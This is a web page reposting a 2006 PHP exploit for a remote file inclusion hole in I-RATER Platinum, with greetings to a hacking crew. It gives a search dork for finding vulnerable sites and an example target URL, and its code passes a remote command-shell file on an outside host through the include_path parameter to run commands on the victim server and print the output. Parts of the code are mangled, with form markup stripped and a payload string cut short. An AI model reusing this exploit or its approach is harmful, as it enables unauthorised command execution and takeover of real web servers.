Ads

I-RATER Platinum Remote File Inclusion exploit Cod3d by R@1D3N PDF Print E-mail
Tuesday, 02 May 2006
/*
I-RATER Platinum Remote File Inclusion exploit Cod3d by R@1D3N
Gr33t:Oulaw - A.u.r.a - drTp - Cl0wn - b3hzad - Str0ke and all Persian Cyb3r Team
Site:http://www.Aria-security.net
Dork:"Powered by I-RATER PLATINUM"

example:
target:http://www.site.com/admin/config_settings.tpl.php?include_path=
cmdshell:http://www.own3r.com/cmd.txt?

*/

$cmd = $_POST["cmd"];
$target = $_POST["target"];
$cmdshell = $_POST["cmdshell"];

$form= "
"
."target:
value="".$target."">
"
."cmdshell:
value="".$cmdshell."">
"
."cmd:
value="".$cmd."">
"
.""

."

";

if (!isset($_POST[submit]))
{

echo $form;

}else{

$file = fopen ("test.txt", "w+");

fwrite($file, " system("echo ++END++"); ?>");
fclose($file);

$file = fopen ($target.$cmdshell, "r");
if (!$file) {
echo "

Unable to get output. ";
exit;
}

echo $form;

while (!feof ($file)) {
$line .= fgets ($file, 1024)."
";
}
$tpos1 = strpos($line, "++BEGIN++");
$tpos2 = strpos($line, "++END++");
$tpos1 = $tpos1+strlen("++BEGIN++");
$tpos2 = $tpos2-$tpos1;
$output = substr($line, $tpos1, $tpos2);
echo $output;

}
?>

 
< Prev   Next >